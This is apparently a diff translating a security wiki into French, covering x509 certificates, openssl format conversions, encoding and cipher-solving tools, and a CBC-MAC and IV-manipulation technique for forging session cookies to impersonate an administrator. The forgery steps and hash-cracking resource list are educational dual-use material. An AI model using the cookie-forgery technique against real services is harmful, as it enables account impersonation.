In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields:
- **Version Number** signifies the x509 format's version.
- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking.
- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as:
- **Common Name (CN)**: Domains covered by the certificate.
- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details.
- **Distinguished Name (DN)** encapsulates the full subject identification.
- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA.
- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date.
- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key.
- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application.
#### **Key Usage and Extensions**
- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment.
- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication.
- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively.
- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys.
- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status.
- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate.
#### **Utilisation de la clé et extensions**
- **Utilisation de la clé** identifie les applications cryptographiques de la clé publique, comme la signature numérique ou le chiffrement de clé.
- **Utilisation de clé étendue** précise davantage les cas d'utilisation du certificat, par exemple, pour l'authentification de serveur TLS.
- **Nom alternatif du sujet** et **Contrainte de base** définissent des noms d'hôtes supplémentaires couverts par le certificat et s'il s'agit d'un certificat CA ou d'entité finale, respectivement.
- Des identifiants comme **Identifiant de clé du sujet** et **Identifiant de clé d'autorité** garantissent l'unicité et la traçabilité des clés.
- **Accès à l'information d'autorité** et **Points de distribution CRL** fournissent des chemins pour vérifier la CA émettrice et vérifier l'état de révocation du certificat.
- Les **SCTs de précertificat CT** offrent des journaux de transparence, cruciaux pour la confiance publique dans le certificat.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend
# Load an x509 certificate (assuming cert.pem is a certificate file)
with open("cert.pem", "rb") as file:
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
# Accessing fields
serial_number = certificate.serial_number
@ -63,160 +54,123 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
### **Différence entre OCSP et points de distribution CRL**
### **Difference between OCSP and CRL Distribution Points**
**OCSP** (**RFC 2560**) implique un client et un répondant travaillant ensemble pour vérifier si un certificat de clé publique numérique a été révoqué, sans avoir besoin de télécharger la **CRL** complète. Cette méthode est plus efficace que la **CRL** traditionnelle, qui fournit une liste de numéros de série de certificats révoqués mais nécessite le téléchargement d'un fichier potentiellement volumineux. Les CRL peuvent inclure jusqu'à 512 entrées. Plus de détails sont disponibles [ici](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
### **Qu'est-ce que la transparence des certificats**
### **What is Certificate Transparency**
La transparence des certificats aide à lutter contre les menaces liées aux certificats en garantissant que l'émission et l'existence des certificats SSL sont visibles pour les propriétaires de domaines, les CA et les utilisateurs. Ses objectifs sont :
Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are:
- Empêcher les CA d'émettre des certificats SSL pour un domaine sans la connaissance du propriétaire du domaine.
- Établir un système d'audit ouvert pour suivre les certificats émis par erreur ou de manière malveillante.
- Protéger les utilisateurs contre les certificats frauduleux.
- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge.
- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates.
- Safeguarding users against fraudulent certificates.
#### **Journaux de certificats**
#### **Certificate Logs**
Les journaux de certificats sont des enregistrements audités publiquement, en mode ajout uniquement, de certificats, maintenus par des services réseau. Ces journaux fournissent des preuves cryptographiques à des fins d'audit. Tant les autorités d'émission que le public peuvent soumettre des certificats à ces journaux ou les interroger pour vérification. Bien que le nombre exact de serveurs de journaux ne soit pas fixe, on s'attend à ce qu'il soit inférieur à mille dans le monde. Ces serveurs peuvent être gérés indépendamment par des CA, des FAI ou toute entité intéressée.
Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity.
#### **Interrogation**
#### **Query**
Pour explorer les journaux de transparence des certificats pour un domaine quelconque, visitez [https://crt.sh/](https://crt.sh).
To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh).
Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them.
Différents formats existent pour stocker des certificats, chacun ayant ses propres cas d'utilisation et compatibilité. Ce résumé couvre les principaux formats et fournit des conseils sur la conversion entre eux.
## **Formats**
### **PEM Format**
### **Format PEM**
- Most widely used format for certificates.
- Requires separate files for certificates and private keys, encoded in Base64 ASCII.
- Common extensions: .cer, .crt, .pem, .key.
- Primarily used by Apache and similar servers.
- Format le plus largement utilisé pour les certificats.
- Nécessite des fichiers séparés pour les certificats et les clés privées, encodés en Base64 ASCII.
- Extensions courantes : .cer, .crt, .pem, .key.
- Principalement utilisé par Apache et des serveurs similaires.
### **DER Format**
### **Format DER**
- A binary format of certificates.
- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files.
- Common extensions: .cer, .der.
- Often used with Java platforms.
- Un format binaire de certificats.
- Manque les déclarations "BEGIN/END CERTIFICATE" trouvées dans les fichiers PEM.
- Extensions courantes : .cer, .der.
- Souvent utilisé avec des plateformes Java.
### **P7B/PKCS#7 Format**
### **Format P7B/PKCS#7**
- Stored in Base64 ASCII, with extensions .p7b or .p7c.
- Contains only certificates and chain certificates, excluding the private key.
- Supported by Microsoft Windows and Java Tomcat.
- Stocké en Base64 ASCII, avec les extensions .p7b ou .p7c.
- Contient uniquement des certificats et des certificats de chaîne, excluant la clé privée.
- Pris en charge par Microsoft Windows et Java Tomcat.
### **PFX/P12/PKCS#12 Format**
### **Format PFX/P12/PKCS#12**
- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file.
- Extensions: .pfx, .p12.
- Mainly used on Windows for certificate import and export.
- Un format binaire qui encapsule les certificats de serveur, les certificats intermédiaires et les clés privées dans un seul fichier.
- Extensions : .pfx, .p12.
- Principalement utilisé sur Windows pour l'importation et l'exportation de certificats.
### **Converting Formats**
### **Conversion de formats**
**PEM conversions** are essential for compatibility:
- **x509 to PEM**
**Les conversions PEM** sont essentielles pour la compatibilité :
- **x509 à PEM**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
- **PEM to DER**
- **PEM à DER**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
- **DER to PEM**
- **DER à PEM**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
- **PEM to P7B**
- **PEM à P7B**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
- **PKCS7 to PEM**
- **PKCS7 à PEM**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
**Les conversions PFX** sont cruciales pour la gestion des certificats sur Windows :
**PFX conversions** are crucial for managing certificates on Windows:
- **PFX to PEM**
- **PFX à PEM**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
- **PFX to PKCS#8** involves two steps:
1. Convert PFX to PEM
- **PFX à PKCS#8** implique deux étapes :
1. Convertir PFX en PEM
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
2. Convert PEM to PKCS8
2. Convertir PEM en PKCS8
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
- **P7B to PFX** also requires two commands:
1. Convert P7B to CER
- **P7B à PFX** nécessite également deux commandes :
1. Convertir P7B en CER
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
2. Convert CER and Private Key to PFX
2. Convertir CER et clé privée en PFX
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
- **ASN.1 (DER/PEM) editing** (works with certificates or almost any other ASN.1 structure):
1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/)
- **Édition ASN.1 (DER/PEM)** (fonctionne avec des certificats ou presque toute autre structure ASN.1) :
1. Clonez [asn1template](https://github.com/wllm-rbnt/asn1template/)
```bash
git clone https://github.com/wllm-rbnt/asn1template.git
```
2. Convert DER/PEM to OpenSSL's generation format
2. Convertir DER/PEM au format de génération d'OpenSSL
```bash
asn1template/asn1template.pl certificatename.der > certificatename.tpl
asn1template/asn1template.pl -p certificatename.pem > certificatename.tpl
```
3. Edit certificatename.tpl according to your requirements
3. Modifiez certificatename.tpl selon vos besoins
```bash
vim certificatename.tpl
```
4. Rebuild the modified certificate
4. Reconstruire le certificat modifié
```bash
openssl asn1parse -genconf certificatename.tpl -out certificatename_new.der
openssl asn1parse -genconf certificatename.tpl -outform PEM -out certificatename_new.pem
```
---
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,54 +2,54 @@
# CBC
If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie.
Si le **cookie** est **uniquement** le **nom d'utilisateur** (ou si la première partie du cookie est le nom d'utilisateur) et que vous souhaitez usurper le nom d'utilisateur "**admin**". Alors, vous pouvez créer le nom d'utilisateur **"bdmin"** et **bruteforcer** le **premier octet** du cookie.
# CBC-MAC
**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security.
**Code d'authentification de message par chaîne de blocs chiffrés** (**CBC-MAC**) est une méthode utilisée en cryptographie. Elle fonctionne en prenant un message et en l'encryptant bloc par bloc, où l'encryption de chaque bloc est liée à celle du bloc précédent. Ce processus crée une **chaîne de blocs**, garantissant que changer même un seul bit du message original entraînera un changement imprévisible dans le dernier bloc de données chiffrées. Pour effectuer ou inverser un tel changement, la clé de chiffrement est requise, assurant la sécurité.
To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E:
Pour calculer le CBC-MAC du message m, on chiffre m en mode CBC avec un vecteur d'initialisation nul et on conserve le dernier bloc. La figure suivante esquisse le calcul du CBC-MAC d'un message composé de blocs ![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) en utilisant une clé secrète k et un chiffre par blocs E :
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png](<https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png>)
# Vulnerability
# Vulnérabilité
With CBC-MAC usually the **IV used is 0**.\
This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So:
Avec CBC-MAC, généralement le **IV utilisé est 0**.\
C'est un problème car 2 messages connus (`m1` et `m2`) généreront indépendamment 2 signatures (`s1` et `s2`). Donc :
- `E(m1 XOR 0) = s1`
- `E(m2 XOR 0) = s2`
Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32):
Ensuite, un message composé de m1 et m2 concaténés (m3) générera 2 signatures (s31 et s32) :
- `E(m1 XOR 0) = s31 = s1`
- `E(m2 XOR s1) = s32`
**Which is possible to calculate without knowing the key of the encryption.**
**Ce qui est possible à calculer sans connaître la clé de chiffrement.**
Imagine you are encrypting the name **Administrator** in **8bytes** blocks:
Imaginez que vous chiffrez le nom **Administrator** en blocs de **8 octets** :
- `Administ`
- `rator\00\00\00`
You can create a username called **Administ** (m1) and retrieve the signature (s1).\
Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\
now, you can use s32 as the signature of the full name **Administrator**.
Vous pouvez créer un nom d'utilisateur appelé **Administ** (m1) et récupérer la signature (s1).\
Ensuite, vous pouvez créer un nom d'utilisateur appelé le résultat de `rator\00\00\00 XOR s1`. Cela générera `E(m2 XOR s1 XOR 0)` qui est s32.\
Maintenant, vous pouvez utiliser s32 comme la signature du nom complet **Administrator**.
### Summary
### Résumé
1. Get the signature of username **Administ** (m1) which is s1
2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.**
3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**.
1. Obtenez la signature du nom d'utilisateur **Administ** (m1) qui est s1
2. Obtenez la signature du nom d'utilisateur **rator\x00\x00\x00 XOR s1 XOR 0** qui est s32**.**
3. Définissez le cookie sur s32 et ce sera un cookie valide pour l'utilisateur **Administrator**.
# Attack Controlling IV
# Attaque Contrôle IV
If you can control the used IV the attack could be very easy.\
If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\
Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**.
Si vous pouvez contrôler l'IV utilisé, l'attaque pourrait être très facile.\
Si le cookie est juste le nom d'utilisateur chiffré, pour usurper l'utilisateur "**administrator**", vous pouvez créer l'utilisateur "**Administrator**" et vous obtiendrez son cookie.\
Maintenant, si vous pouvez contrôler l'IV, vous pouvez changer le premier octet de l'IV de sorte que **IV\[0] XOR "A" == IV'\[0] XOR "a"** et régénérer le cookie pour l'utilisateur **Administrator.** Ce cookie sera valide pour **usurper** l'utilisateur **administrator** avec l'**IV** initial.
## References
## Références
More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
Plus d'informations sur [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,9 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
## Online Hashes DBs
## Bases de données de hachages en ligne
- _**Google it**_
- _**Googlez-le**_
- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
- [https://crackstation.net/](https://crackstation.net)
@ -16,124 +16,119 @@
- [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
## Magic Autosolvers
## Résolveurs automatiques magiques
- [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (module magique)
- [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
## Encoders
## Encodeurs
Most of encoded data can be decoded with these 2 ressources:
La plupart des données encodées peuvent être décodées avec ces 2 ressources :
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### Substitution Autosolvers
### Résolveurs automatiques de substitution
- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
- [https://quipqiup.com/](https://quipqiup.com) - Very good !
- [https://quipqiup.com/](https://quipqiup.com) - Très bon !
#### Caesar - ROTx Autosolvers
#### Résolveurs automatiques Caesar - ROTx
- [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
#### Atbash Cipher
#### Chiffre Atbash
- [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
### Base Encodings Autosolver
### Résolveur automatique d'encodages de base
Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
Vérifiez toutes ces bases avec : [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- **Ascii85**
- `BQ%]q@psCd@rH0l`
- `BQ%]q@psCd@rH0l`
- **Base26** \[_A-Z_]
- `BQEKGAHRJKHQMVZGKUXNT`
- `BQEKGAHRJKHQMVZGKUXNT`
- **Base32** \[_A-Z2-7=_]
- `NBXWYYLDMFZGCY3PNRQQ====`
- `NBXWYYLDMFZGCY3PNRQQ====`
- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
- `pbzsaamdcf3gna5xptoo====`
- `pbzsaamdcf3gna5xptoo====`
- **Base32 Geohash** \[_0-9b-hjkmnp-z_]
- `e1rqssc3d5t62svgejhh====`
- `e1rqssc3d5t62svgejhh====`
- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
- `D1QPRRB3C5S62RVFDHGG====`
- **Base32 Extended Hexadecimal** \[_0-9A-V_]
- `D1NMOOB3C5P62ORFDHGG====`
- `D1QPRRB3C5S62RVFDHGG====`
- **Base32 Hexadécimal étendu** \[_0-9A-V_]
- `D1NMOOB3C5P62ORFDHGG====`
- **Base45** \[_0-9A-Z $%\*+-./:_]
- `59DPVDGPCVKEUPCPVD`
- `59DPVDGPCVKEUPCPVD`
- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
- `2yJiRg5BF9gmsU6AC`
- `2yJiRg5BF9gmsU6AC`
- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
- `2YiHqF5bf9FLSt6ac`
- `2YiHqF5bf9FLSt6ac`
- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
- `pyJ5RgnBE9gm17awU`
- `pyJ5RgnBE9gm17awU`
- **Base62** \[_0-9A-Za-z_]
- `g2AextRZpBKRBzQ9`
- `g2AextRZpBKRBzQ9`
- **Base64** \[_A-Za-z0-9+/=_]
- `aG9sYWNhcmFjb2xh`
- `aG9sYWNhcmFjb2xh`
- **Base67** \[_A-Za-z0-9-_.!\~\_]
- `NI9JKX0cSUdqhr!p`
- `NI9JKX0cSUdqhr!p`
- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `BQ%]q@psCd@rH0l`
- `BQ%]q@psCd@rH0l`
- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `<~BQ%]q@psCd@rH0l~>`
- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
- `Xm4y`V\_|Y(V{dF>\`
- `<~BQ%]q@psCd@rH0l~>`
- **Base85 (IPv6 ou RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
- `Xm4y`V\_|Y(V{dF>\`
- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_]
- `Xm4y|V{~Y+V}dF?`
- `Xm4y|V{~Y+V}dF?`
- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
- `frDg[*jNN!7&BQM`
- `frDg[*jNN!7&BQM`
- **Base100** \[]
- `👟👦👣👘👚👘👩👘👚👦👣👘`
- `👟👦👣👘👚👘👩👘👚👦👣👘`
- **Base122** \[]
- `4F ˂r0Xmvc`
- `4F ˂r0Xmvc`
- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
- `DmPsv8J7qrlKEoY7`
- `DmPsv8J7qrlKEoY7`
- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
- `kLD8iwKsigSalLJ5`
- `kLD8iwKsigSalLJ5`
- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
- `ayRiIo1gpO+uUc7g`
- `ayRiIo1gpO+uUc7g`
- **ESAB46** \[]
- `3sHcL2NR8WrT7mhR`
- `3sHcL2NR8WrT7mhR`
- **MEGAN45** \[]
- `kLD8igSXm2KZlwrX`
- `kLD8igSXm2KZlwrX`
- **TIGO3FX** \[]
- `7AP9mIzdmltYmIP9mWXX`
- `7AP9mIzdmltYmIP9mWXX`
- **TRIPO5** \[]
- `UE9vSbnBW6psVzxB`
- `UE9vSbnBW6psVzxB`
- **FERON74** \[]
- `PbGkNudxCzaKBm0x`
- `PbGkNudxCzaKBm0x`
- **GILA7** \[]
- `D+nkv8C1qIKMErY1`
- `D+nkv8C1qIKMErY1`
- **Citrix CTX1** \[]
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Mort : [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### HackerizeXS \[_╫Λ↻├☰┏_]
```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
```
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Mort : [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### Morse
```
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
```
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Mort : [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### UUencoder
```
begin 644 webutils_pl
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
@ -142,96 +137,77 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
`
end
```
- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
### XXEncoder
```
begin 644 webutils_pl
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
5Hol-G2xAEE++
end
```
- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
### YEncoder
```
=ybegin line=128 size=28 name=webutils_pl
ryvkryvkryvkryvkryvkryvkryvk
=yend size=28 crc32=35834c86
```
- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
### BinHex
```
(This file must be converted with BinHex 4.0)
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
-38K26%'d9J!!:
```
- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
### ASCII85
```
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
```
- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
### Dvorak keyboard
### Clavier Dvorak
```
drnajapajrna
```
- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
### A1Z26
Letters to their numerical value
Lettres à leur valeur numérique
```
8 15 12 1 3 1 18 1 3 15 12 1
```
### Affine Cipher Encode
Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter
Lettre à numéro `(ax+b)%26` (_a_ et _b_ sont les clés et _x_ est la lettre) et le résultat revient à la lettre
```
krodfdudfrod
```
### SMS Code
**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\
For example: 2=A, 22=B, 222=C, 3=D...\
You can identify this code because you will see\*\* several numbers repeated\*\*.
**Multitap** [remplace une lettre](https://www.dcode.fr/word-letter-change) par des chiffres répétés définis par le code de la touche correspondante sur un [clavier de téléphone](https://www.dcode.fr/phone-keypad-cipher) (Ce mode est utilisé lors de l'écriture de SMS).\
Par exemple : 2=A, 22=B, 222=C, 3=D...\
Vous pouvez identifier ce code car vous verrez\*\* plusieurs chiffres répétés\*\*.
You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
Vous pouvez décoder ce code ici : [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
### Bacon Code
Substitude each letter for 4 As or Bs (or 1s and 0s)
Substituez chaque lettre par 4 A ou B (ou 1 et 0)
```
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
```
### Runes
![](../images/runes.jpg)
## Compression
**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers.
**Raw Deflate** et **Raw Inflate** (vous pouvez les trouver dans Cyberchef) peuvent compresser et décompresser des données sans en-têtes.
## Easy Crypto
@ -241,30 +217,25 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
### Bifid
A keywork is needed
Un mot-clé est nécessaire
```
fgaargaamnlunesuneoa
```
### Vigenere
A keywork is needed
Un mot-clé est nécessaire
```
wodsyoidrods
```
- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
